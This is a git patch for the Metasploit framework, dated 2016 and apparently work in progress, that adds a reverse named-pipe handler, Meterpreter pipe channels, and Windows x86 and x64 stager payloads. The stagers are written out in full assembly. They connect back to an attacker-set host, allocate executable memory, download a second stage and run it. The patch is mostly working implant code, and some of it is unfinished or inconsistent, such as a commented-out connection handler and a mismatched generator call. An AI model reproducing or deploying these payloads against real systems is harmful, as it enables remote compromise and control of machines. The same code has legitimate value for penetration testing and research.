From 4c10979d7b40051ca2f96bd797192481ca3a811f Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 14 Apr 2016 13:43:19 +1000 Subject: [PATCH 01/23] Add beginnings of channel-based MSF named pipe handler/payload --- lib/msf/core/handler/reverse_named_pipe.rb | 211 +++++++++++++ lib/msf/core/payload/transport_config.rb | 28 +- .../payload/windows/reverse_named_pipe.rb | 271 ++++++++++++++++ .../payload/windows/x64/reverse_named_pipe.rb | 293 ++++++++++++++++++ lib/rex/payloads/meterpreter/config.rb | 3 +- .../extensions/stdapi/net/named_pipe.rb | 129 ++++++++ .../named_pipe_server_channel.rb | 163 ++++++++++ .../meterpreter/extensions/stdapi/stdapi.rb | 8 +- .../post/meterpreter/extensions/stdapi/tlv.rb | 7 + .../windows/meterpreter_reverse_named_pipe.rb | 69 +++++ .../x64/meterpreter_reverse_named_pipe.rb | 69 +++++ 11 files changed, 1239 insertions(+), 12 deletions(-) create mode 100644 lib/msf/core/handler/reverse_named_pipe.rb create mode 100644 lib/msf/core/payload/windows/reverse_named_pipe.rb create mode 100644 lib/msf/core/payload/windows/x64/reverse_named_pipe.rb create mode 100644 lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb create mode 100644 lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb create mode 100644 modules/payloads/singles/windows/meterpreter_reverse_named_pipe.rb create mode 100644 modules/payloads/singles/windows/x64/meterpreter_reverse_named_pipe.rb diff --git a/lib/msf/core/handler/reverse_named_pipe.rb b/lib/msf/core/handler/reverse_named_pipe.rb new file mode 100644 index 0000000000000..72fc533e3e124 --- /dev/null +++ b/lib/msf/core/handler/reverse_named_pipe.rb @@ -0,0 +1,211 @@ +# -*- coding: binary -*- +require 'thread' + +module Msf +module Handler +### +# +# This module implements the reverse TCP handler. This means +# that it listens on a port waiting for a connection until +# either one is established or it is told to abort. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseNamedPipe + include Msf::Handler + include Msf::Handler::Reverse::Comm + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp'. + # + def self.handler_type + "reverse_named_pipe" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP handler and ads the options that are required + # for all reverse TCP payloads, like local host and local port. + # + def initialize(info = {}) + super + + register_options([ + OptString.new('PIPENAME', [true, 'Name of the pipe to listen on', 'msf-pipe']) + ], Msf::Handler::ReverseNamedPipe) + + self.conn_threads = [] + end + + # + # Closes the listener socket if one was created. + # + def cleanup_handler + stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each do |thr| + begin + thr.kill + rescue + nil + end + end + end + + # A string suitable for displaying to the user + # + # @return [String] + def human_name + "reverse named pipe" + end + + def pipe_name + datastore['PIPENAME'] + end + + # + # Starts monitoring for an inbound connection. + # + def start_handler + queue = ::Queue.new + + local_port = bind_port + + handler_name = "ReverseNamedPipeHandlerListener-#{pipe_name}" + self.listener_thread = framework.threads.spawn(handler_name, false, queue) { |lqueue| + loop do + # Accept a client connection + begin + client = listener_sock.accept + if client + self.pending_connections += 1 + lqueue.push(client) + end + rescue Errno::ENOTCONN + nil + rescue StandardError => e + wlog [ + "#{handler_name}: Exception raised during listener accept: #{e.class}", + "#{$ERROR_INFO}", + "#{$ERROR_POSITION.join("\n")}" + ].join("\n") + end + end + } + + worker_name = "ReverseNamedPipeHandlerWorker-#{pipe_name}" + self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue| + loop do + begin + client = cqueue.pop + + unless client + elog("#{worker_name}: Queue returned an empty result, exiting...") + end + + # Timeout and datastore options need to be passed through to the client + opts = { + datastore: datastore, + expiration: datastore['SessionExpirationTimeout'].to_i, + comm_timeout: datastore['SessionCommunicationTimeout'].to_i, + retry_total: datastore['SessionRetryTotal'].to_i, + retry_wait: datastore['SessionRetryWait'].to_i + } + + #handle_connection(wrap_aes_socket(client), opts) + rescue StandardError + elog("Exception raised from handle_connection: #{$ERROR_INFO.class}: #{$ERROR_INFO}\n\n#{$ERROR_POSITION.join("\n")}") + end + end + } + end + + def wrap_aes_socket(sock) + if datastore["PAYLOAD"] !~ %r{java/} || (datastore["AESPassword"] || "") == "" + return sock + end + + socks = Rex::Socket.tcp_socket_pair + socks[0].extend(Rex::Socket::Tcp) + socks[1].extend(Rex::Socket::Tcp) + + m = OpenSSL::Digest.new('md5') + m.reset + key = m.digest(datastore["AESPassword"] || "") + + Rex::ThreadFactory.spawn('Session-AESEncrypt', false) do + c1 = OpenSSL::Cipher.new('aes-128-cfb8') + c1.encrypt + c1.key = key + sock.put([0].pack('N')) + sock.put((c1.iv = c1.random_iv)) + buf1 = socks[0].read(4096) + while buf1 && buf1 != "" + sock.put(c1.update(buf1)) + buf1 = socks[0].read(4096) + end + sock.close + end + + Rex::ThreadFactory.spawn('Session-AESDecrypt', false) do + c2 = OpenSSL::Cipher.new('aes-128-cfb8') + c2.decrypt + c2.key = key + + iv = "" + iv << sock.read(16 - iv.length) while iv.length < 16 + + c2.iv = iv + buf2 = sock.read(4096) + while buf2 && buf2 != "" + socks[0].put(c2.update(buf2)) + buf2 = sock.read(4096) + end + socks[0].close + end + + socks[1] + end + + # + # Stops monitoring for an inbound connection. + # + def stop_handler + # Terminate the listener thread + listener_thread.kill if listener_thread && listener_thread.alive? == true + + # Terminate the handler thread + handler_thread.kill if handler_thread && handler_thread.alive? == true + + if listener_sock + begin + listener_sock.close + rescue IOError + # Ignore if it's listening on a dead session + dlog("IOError closing listener sock; listening on dead session?", LEV_1) + end + end + end + + protected + + attr_accessor :listener_sock # :nodoc: + attr_accessor :listener_thread # :nodoc: + attr_accessor :handler_thread # :nodoc: + attr_accessor :conn_threads # :nodoc: +end +end +end + diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index 97667e54509ea..99a6c8a0642c6 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -16,6 +16,14 @@ def transport_config_reverse_tcp(opts={}) config end + def transport_config_reverse_named_pipe(opts={}) + { + :scheme => 'pipe', + :lhost => datastore['LHOST'], + :uri => "/#{datastore['PIPENAME']}" + }.merge(timeout_config) + end + def transport_config_reverse_ipv6_tcp(opts={}) config = transport_config_reverse_tcp(opts) config[:scheme] = 'tcp6' @@ -27,11 +35,8 @@ def transport_config_bind_tcp(opts={}) { :scheme => 'tcp', :lhost => datastore['LHOST'], - :lport => datastore['LPORT'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - } + :lport => datastore['LPORT'].to_i + }.merge(timeout_config) end def transport_config_reverse_https(opts={}) @@ -58,15 +63,22 @@ def transport_config_reverse_http(opts={}) :lhost => opts[:lhost] || datastore['LHOST'], :lport => (opts[:lport] || datastore['LPORT']).to_i, :uri => uri, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, :ua => datastore['MeterpreterUserAgent'], :proxy_host => datastore['PayloadProxyHost'], :proxy_port => datastore['PayloadProxyPort'], :proxy_type => datastore['PayloadProxyType'], :proxy_user => datastore['PayloadProxyUser'], :proxy_pass => datastore['PayloadProxyPass'] + }.merge(timeout_config) + end + +private + + def timeout_config + { + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i } end diff --git a/lib/msf/core/payload/windows/reverse_named_pipe.rb b/lib/msf/core/payload/windows/reverse_named_pipe.rb new file mode 100644 index 0000000000000..ad280957ef0bc --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_named_pipe.rb @@ -0,0 +1,271 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/send_uuid' +require 'msf/core/payload/windows/block_api' +require 'msf/core/payload/windows/exitfunk' + +module Msf + +### +# +# Complex reverse_named_pipe payload generation for Windows ARCH_X86 +# +### + +module Payload::Windows::ReverseNamedPipe + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID + include Msf::Payload::Windows::BlockApi + include Msf::Payload::Windows::Exitfunk + + # + # Generate the first stage + # + def generate + conf = { + name: datastore['NAME'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + reliable: false + } + + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_named_pipe(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def transport_config(opts={}) + transport_config_reverse_named_pipe(opts) + end + + # + # Generate and compile the stager + # + def generate_reverse_tcp(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_tcp(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # EXITFUNK 'thread' is the biggest by far, adds 29 bytes. + space += 29 + + # Reliability adds some bytes! + space += 44 + + space += uuid_required_size if include_send_uuid + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_reverse_tcp(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + reliable = opts[:reliable] + encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first + + asm = %Q^ + ; Input: EBP must be the address of 'api_call'. + ; Output: EDI will be the socket for the connection to the server + ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) + + reverse_tcp: + push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. + push 'ws2_' ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp ; LoadLibraryA( "ws2_32" ) + + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call ebp ; WSAStartup( 0x0190, &WSAData ); + + set_address: + push #{retry_count} ; retry counter + + create_socket: + push #{encoded_host} ; host in little-endian format + push #{encoded_port} ; family AF_INET and port number + mov esi, esp ; save pointer to sockaddr struct + + push eax ; if we succeed, eax will be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this + + try_connect: + push 16 ; length of the sockaddr struct + push esi ; pointer to the sockaddr struct + push edi ; the socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call ebp ; connect( s, &sockaddr, 16 ); + + test eax,eax ; non-zero means a failure + jz connected + + handle_connect_failure: + ; decrement our attempt count and try again + dec [esi+8] + jnz try_connect + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + + asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + ^ + + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ + recv: + ; Receive the size of the incoming second stage... + push 0 ; flags + push 4 ; length = sizeof( DWORD ); + push esi ; the 4 byte buffer on the stack to hold the second stage length + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, &dwLength, 4, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jle cleanup_socket + ^ + end + + asm << %Q^ + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; push the newly recieved second stage length. + push 0 ; NULL as we dont care where the allocation is. + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + xchg ebx, eax ; ebx = our new memory address for the new stage + push ebx ; push the address of the new stage so we can return into it + + read_more: + push 0 ; flags + push esi ; length + push ebx ; the current address into our second stage's RWX buffer + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, buffer, length, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed, free up memory + pop eax ; get the address of the payload + push 0x4000 ; dwFreeType (MEM_DECOMMIT) + push 0 ; dwSize + push eax ; lpAddress + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + cleanup_socket: + ; clear up the socket + push edi ; socket handle + push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call ebp ; closesocket(socket) + + ; restore the stack back to the connection retry count + pop esi + pop esi + dec [esp] ; decrement the counter + + ; try again + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end diff --git a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb new file mode 100644 index 0000000000000..3e1a12e04ba1e --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb @@ -0,0 +1,293 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/x64/send_uuid' +require 'msf/core/payload/windows/x64/block_api' +require 'msf/core/payload/windows/x64/exitfunk' + +module Msf + +### +# +# Complex reverse_named_pipe payload generation for Windows ARCH_X86_64 +# +### + +module Payload::Windows::ReverseNamedPipe_x64 + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID_x64 + include Msf::Payload::Windows::BlockApi_x64 + include Msf::Payload::Windows::Exitfunk_x64 + + # + # Register reverse_tcp specific options + # + def initialize(*args) + super + end + + # + # Generate the first stage + # + def generate + conf = { + name: datastore['NAME'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + reliable: false + } + + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_tcp(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + # + # Generate and compile the stager + # + def generate_reverse_tcp(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + and rsp, ~0xF ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop rbp ; block API pointer + #{asm_reverse_tcp(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string + end + + def transport_config(opts={}) + transport_config_reverse_named_pipe(opts) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # EXITFUNK 'seh' is the worst case, that adds 15 bytes + space += 15 + + # Reliability adds bytes! + space += 57 + + space += uuid_required_size if include_send_uuid + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_reverse_tcp(opts={}) + + reliable = opts[:reliable] + retry_count = [opts[:retry_count].to_i, 1].max + encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first + encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first + encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port] + + asm = %Q^ + reverse_tcp: + ; setup the structures we need on the stack... + mov r14, 'ws2_32' + push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. + mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. + sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData + ; structure (+8 for alignment) + mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. + mov r12, #{encoded_host_port} + push r12 ; host, family AF_INET and port + mov r12, rsp ; save pointer to sockaddr struct for connect call + + ; perform the call to LoadLibraryA... + mov rcx, r14 ; set the param for the library to load + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; LoadLibraryA( "ws2_32" ) + + ; perform the call to WSAStartup... + mov rdx, r13 ; second param is a pointer to this stuct + push 0x0101 ; + pop rcx ; set the param for the version requested + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call rbp ; WSAStartup( 0x0101, &WSAData ); + + ; stick the retry count on the stack and store it + push #{retry_count} ; retry counter + pop r14 + + create_socket: + ; perform the call to WSASocketA... + push rax ; if we succeed, rax wil be zero, push zero for the flags param. + push rax ; push null for reserved parameter + xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure + xor r8, r8 ; we do not specify a protocol + inc rax ; + mov rdx, rax ; push SOCK_STREAM + inc rax ; + mov rcx, rax ; push AF_INET + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + mov rdi, rax ; save the socket for later + + try_connect: + ; perform the call to connect... + push 16 ; length of the sockaddr struct + pop r8 ; pop off the third param + mov rdx, r12 ; set second param to pointer to sockaddr struct + mov rcx, rdi ; the socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call rbp ; connect( s, &sockaddr, 16 ); + + test eax, eax ; non-zero means failure + jz connected + + handle_connect_failure: + dec r14 ; decrement the retry count + jnz try_connect + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call rbp + ^ + end + + asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + ^ + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ + recv: + ; Receive the size of the incoming second stage... + sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the + ; second stage length + mov rdx, rsp ; set pointer to this buffer + xor r9, r9 ; flags + push 4 ; + pop r8 ; length = sizeof( DWORD ); + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, &dwLength, 4, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jle cleanup_socket + ^ + end + + asm << %Q^ + add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next + + ; Alloc a RWX buffer for the second stage + pop rsi ; pop off the second stage length + mov esi, esi ; only use the lower-order 32 bits for the size + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx, rcx ; NULL as we dont care where the allocation is. + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + mov rbx, rax ; rbx = our new memory address for the new stage + mov r15, rax ; save the address so we can jump into it later + + read_more: ; + xor r9, r9 ; flags + mov r8, rsi ; length + mov rdx, rbx ; the current address into our second stages RWX buffer + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, buffer, length, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed so free up memory + pop rax + push r15 + pop rcx ; lpAddress + push 0x4000 ; MEM_COMMIT + pop r8 ; dwFreeType + push 0 ; 0 + pop rdx ; dwSize + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call rbp ; VirtualFree(payload, 0, MEM_COMMIT) + + cleanup_socket: + ; clean up the socket + push rdi ; socket handle + pop rcx ; s (closesocket parameter) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call rbp + + ; and try again + dec r14 ; decrement the retry count + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add rbx, rax ; buffer += bytes_received + sub rsi, rax ; length -= bytes_received + test rsi, rsi ; test length + jnz read_more ; continue if we have more to read + jmp r15 ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index f28ef716628fd..aa0722b18bb76 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -68,7 +68,8 @@ def transport_block(opts) lhost = "[#{lhost}]" end - url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}" + url = "#{opts[:scheme]}://#{lhost}" + url << ":#{opts[:lport]}" if opts[:lport] url << "#{opts[:uri]}/" if opts[:uri] url << "?#{opts[:scope_id]}" if opts[:scope_id] diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb new file mode 100644 index 0000000000000..9a1987a4a514b --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb @@ -0,0 +1,129 @@ +# -*- coding: binary -*- + +require 'thread' +require 'rex/socket' +require 'rex/post/meterpreter/extensions/stdapi/tlv' +#require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel' +require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel' +require 'rex/logging' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Net + +### +# +# TODO put notes here +# +### +class NamedPipe + + ## + # + # Constructor + # + ## + + def initialize(client) + self.client = client + + client.register_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::NamedPipeServerChannel) + + end + + def shutdown + client.deregister_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::NamedPipeServerChannel) + end + + ## + # + # Factory + # + ## + + # + # Creates an arbitrary client socket channel using the information supplied + # in the socket parameters instance. The +params+ argument is expected to be + # of type Rex::Socket::Parameters. + # + def create(params={}) + res = nil + + if params[:listen] == true + res = create_named_pipe_server_channel(params) + else + res = create_named_pipe_client_channel(params) + end + + return res + end + + # + # Create a named pipe server channel. + # + def create_named_pipe_server_channel(params) + begin + return SocketSubsystem::NamedPipeServerChannel.open(client, params) + rescue ::Rex::Post::Meterpreter::RequestError => e + #case e.code + #when 10048 + # raise ::Rex::AddressInUse.new(params.localhost, params.localport) + #when 10000 .. 10100 + # raise ::Rex::ConnectionError.new + #end + raise e + end + end + + # + # Creates a named pipe client channel. + # + def create_named_pipe_client_channel(params) + begin + channel = SocketSubsystem::NamedPipeClientChannel.open(client, params) + if channel != nil + return channel.lsock + end + return nil + rescue ::Rex::Post::Meterpreter::RequestError => e + case e.code + when 10000 .. 10100 + raise ::Rex::ConnectionError.new + end + raise e + end + end + + # + # Creates a UDP channel. + # + def create_udp_channel(params) + begin + channel = SocketSubsystem::UdpChannel.open(client, params) + if channel != nil + return channel.lsock + end + return nil + rescue ::Rex::Post::Meterpreter::RequestError => e + case e.code + when 10048 + raise ::Rex::AddressInUse.new(params.localhost, params.localport) + when 10000 .. 10100 + raise ::Rex::ConnectionError.new + end + raise e + end + end + + +protected + + attr_accessor :client # :nodoc: + +end + +end; end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb new file mode 100644 index 0000000000000..e8fd13c69962a --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb @@ -0,0 +1,163 @@ +# -*- coding: binary -*- +require 'timeout' +require 'thread' +require 'rex/post/meterpreter/channels/stream' +require 'rex/post/meterpreter/extensions/stdapi/tlv' +#require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Net +module SocketSubsystem + +class NamedPipeServerChannel < Rex::Post::Meterpreter::Channel + + PIPE_ACCESS_INBOUND = 0x01 + PIPE_ACCESS_OUTBOUND = 0x02 + PIPE_ACCESS_DUPLEX = 0x03 + + # + # This is a class variable to store all pending client tcp connections which have not been passed + # off via a call to the respective server tcp channels accept method. The dictionary key is the + # tcp server channel instance and the values held are an array of pending tcp client channels + # connected to the tcp server channel. + # + @@server_channels = {} + + # + # This is the request handler which is registered to the respective meterpreter instance via + # Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket. All incoming requests from the meterpreter + # for a 'tcp_channel_open' will be processed here. We create a new TcpClientChannel for each request + # received and store it in the respective tcp server channels list of new pending client channels. + # These new tcp client channels are passed off via a call the the tcp server channels accept() method. + # + def self.request_handler(client, packet) + return false unless packet.method == "named_pipe_channel_open" + + cid = packet.get_tlv_value( TLV_TYPE_CHANNEL_ID ) + pid = packet.get_tlv_value( TLV_TYPE_CHANNEL_PARENTID ) + #localhost = packet.get_tlv_value( TLV_TYPE_LOCAL_HOST ) + #localport = packet.get_tlv_value( TLV_TYPE_LOCAL_PORT ) + #peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST ) + #peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT ) + + return false if cid.nil? || pid.nil? + + server_channel = client.find_channel(pid) + + return false if server_channel.nil? + + params = { + #'LocalHost' => localhost, + #'LocalPort' => localport, + #'PeerHost' => peerhost, + #'PeerPort' => peerport, + 'Comm' => server_channel.client + } + + client_channel = NamedPipeClientChannel.new(client, cid, NamedPipeClientChannel, CHANNEL_FLAG_SYNCHRONOUS) + + client_channel.params = params + + @@server_channels[server_channel] ||= ::Queue.new + @@server_channels[server_channel].enq(client_channel) + + true + end + + def self.cls + CHANNEL_CLASS_STREAM + end + + # + # Open a new named pipe server channel on the remote end. + # + # @return [Channel] + def self.open(client, params) + # assume duplex unless specified otherwise + open_mode = PIPE_ACCESS_DUPLEX + if params[:open_mode] + case params[:open_mode] + when :inbound + open_mode = PIPE_ACCESS_INBOUND + when :outbound + open_mode = PIPE_ACCESS_INBOUND + end + end + + c = Channel.create(client, 'stdapi_net_named_pipe_server', self, CHANNEL_FLAG_SYNCHRONOUS, + [ + {'type'=> TLV_TYPE_NAMED_PIPE_SERVER, 'value' => params[:server] || '.'}, + {'type'=> TLV_TYPE_NAMED_PIPE_NAME, 'value' => params[:name]}, + {'type'=> TLV_TYPE_NAMED_PIPE_OPEN_MODE, 'value' => open_mode}, + {'type'=> TLV_TYPE_NAMED_PIPE_PIPE_MODE, 'value' => params[:pipe_mode] || 0}, + {'type'=> TLV_TYPE_NAMED_PIPE_COUNT, 'value' => params[:count] || 0}, + ] ) + c.params = params + c + end + + # + # Simply initilize this instance. + # + def initialize(client, cid, type, flags) + super(client, cid, type, flags) + # add this instance to the class variables dictionary of tcp server channels + @@server_channels[self] ||= ::Queue.new + end + + # + # Accept a new tcp client connection form this tcp server channel. This method does not block + # and returns nil if no new client connection is available. + # + def accept_nonblock + _accept(true) + end + + # + # Accept a new tcp client connection form this tcp server channel. This method will block indefinatly + # if no timeout is specified. + # + def accept(opts = {}) + timeout = opts['Timeout'] + if (timeout.nil? || timeout <= 0) + timeout = 0 + end + + result = nil + begin + ::Timeout.timeout(timeout) { + result = _accept + } + rescue Timeout::Error + end + + result + end + +protected + + def _accept(nonblock = false) + result = nil + + channel = @@server_channels[self].deq(nonblock) + + if channel + result = channel.lsock + end + + if result != nil && !result.kind_of?(Rex::Socket::Tcp) + result.extend(Rex::Socket::Tcp) + end + + result + end + +end + +end; end; end; end; end; end; end + + diff --git a/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb index 937d6d0a03bc8..431d6e31fc526 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb @@ -11,6 +11,7 @@ require 